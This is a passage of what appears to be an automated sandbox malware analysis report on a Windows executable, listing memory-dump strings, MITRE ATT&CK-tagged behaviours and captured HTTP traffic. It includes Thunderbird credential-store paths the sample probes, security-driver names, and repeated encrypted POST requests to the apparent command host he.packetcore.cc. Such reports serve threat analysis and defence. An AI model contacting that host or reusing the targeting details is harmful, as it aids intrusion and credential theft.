Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp")55:T1310,"??\C:\Users\.NET v2.0 Classic\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\.NET v4.5 Classic\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\All Users\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\Default\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\Public\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\.NET v2.0\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\.NET v4.5\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "??\C:\Users\Classic .NET AppPool\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp ":\Users\Default User\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp "\??\C:\Users\.NET v4.5 Classic\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\.NET v2.0 Classic\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\Default User\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\All Users\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\Default\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\.NET v4.5\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\Public\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\.NET v2.0\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\Public\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\Default\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\.NET v2.0\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\??\C:\Users\Default User\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp "\Roaming\Thunderbird\Profiles" in Source: 00000000-00003940.00000001.256433.01010000.00000004.mdmp 00000000-00003940.00000002.258352.01010000.00000004.mdmp56:Tb72,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "System32\drivers\etc\hosts" (Indicator: "\drivers\"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "System32\drivers\etc\hosts" (Indicator: "system32\drivers"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kldisk.sys" (Indicator: "\drivers\"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kldisk.sys" (Indicator: "system32\drivers"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klhk.sys" (Indicator: "\drivers\"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klhk.sys" (Indicator: "system32\drivers"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klif.sys" (Indicator: "\drivers\"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klif.sys" (Indicator: "system32\drivers"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kneps.sys" (Indicator: "\drivers\"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kneps.sys" (Indicator: "system32\drivers"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp")57:Td08,file/memory contains long string with (Indicator: "CopySid"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "IsValidSid"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetLengthSid"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "RevertToSelf"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "DuplicateToken"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "CopySid"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "RevertToSelf"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateSelf"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateToken"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateTokenEx"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthority"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "SetTokenInformation"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp")58:Tc3b," "ÊYs$·ÏßzA\¹&Iÿç¥h« îã°B¨%ï:{"å#)GôOpìx¶4W$Þò_c p¡I9eèÂxöhÊ³¶³EiDÎÛ§À;uÊué÷n\hüÛËÛáEÌA¡" HTTP/1.1 200 OK Date: Fri, 29 May 2026 05:39:30 GMT Content-Type: application/octet-stream Content-Length: 109 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=10,cfOrigin;dur=662 X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a03328ae1cb3a473-SJC with response body ==>C3AC0AC3AE007FC3BFC38146C3912CC2AF13106CC29B6A135FC39D582EC3BAC3B4C3B8C299C3B90772C39BC3ABC396C3B9C299134EC2A4C385C3994106C28275......., "POST / HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A Connection: keep-alive Content-Length: 108 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "ÙfL.\zÀ°Ã×ÅOÏ.ÉS#¢ýÊùÜrò[&}ª£÷§S¶Êlªº«¥>=/4ÿ@!;³ó»¦)vÄB0û9wU+×u<ÜK²Ój^ÑÒ OD²Í¦ °" HTTP/1.1 200 OK Date: Fri, 29 May 2026 05:39:31 GMT Content-Type: application/octet-stream Content-Length: 489 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=10,cfOrigin;dur=730 Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a03328b4cbfba473-SJC with response body ==>52004FC288C3ADC38137C282C298C2B8C38CC2AFC2A7C39B493E18C399C2BEC28DC2A333C3B7532F32C2B16038C2B6C39AC28364C38F49101B6E12C2A8C2A7C2......., "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A X-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "*²¾zÀÁqR)F8´u8|Ãw:ÓxÐµçªs" HTTP/1.1 200 OK Date: Fri, 29 May 2026 05:39:32 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=780 CF-RAY: a03328b9c92ba473-SJC with no response body, "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A Connection: keep-alive Content-Length: 73 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "ü'h¤±û7+õ·bÉKú*?Å§ë)àûþ(þIê@Dª6q¼ïe`_î]_a[$`UÞ" HTTP/1.1 200 OK Date: Fri, 29 May 2026 05:39:32 GMT Content-Type: application/octet-stream Content-Length: 54328 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3,cfOrigin;dur=215 Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a03328beceaba473-SJC with response body ==>553448C28D2F54C39636C2B4C3843703C3A9C39A2D3B3FC29CC2A713C384C3ADC38CC29EC2B1C29FC399C2B0C3B1C29D4873C285C2ACC283C2A4360178C3BD09......., "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A X-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "!ÿóWÄÅ?Ñ}xªAMï¾b¬éUí" HTTP/1.1 200 OK Date: Fri, 29 May 2026 05:39:33 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=719 CF-RAY: a03328c24a8ba473-SJC with no response body, "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A X-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "T¹~ÓÃï"õGþÓË¥Éã×Úè³PÒá&" HTTP/1.1 200 OK Date: Fri 29 May 2026 05:39:35 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=662 CF-RAY: a03328cd6807a473-SJC with no response body "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A X-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "døëQHù8sïëvZ]YQ:¯HÜZ»\¶" HTTP/1.1 200 OK Date: Fri 29 May 2026 05:39:36 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=822 CF-RAY: a03328d1acb1a473-SJC with no response body "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: 9xjAV2_L9w6v3kfyiDZA5A X-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "Ä³DsX¸¿Äh"ê»ÍÐ£[×S$ØUc(¢" HTTP/1.1 200 OK Date: Fri, 29 May 2026 05:39:37 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=622 CF-RAY: a03328d92d1da473-SJC with no response body5b:Tbac,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00003940.00000001.256433.00400000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00003940.00000001.256433.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; Source: \"00000000-00003940.00000002.258352.01433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003940.00000000.254514.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003940.00000000.254514.0127E000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003940.00000001.256433.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003940.00000002.258352.05500000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"www.youtube.com\" (Indicator: \"youtube.com\"; Source: \"00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(Source: \"00000000-00003940.00000000.254514.0127E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n file/memory contains long string(Source: \"00000000-00003940.00000000.254514.0127E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; Source: \"00000000-00003940.00000000.254514.0127E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment 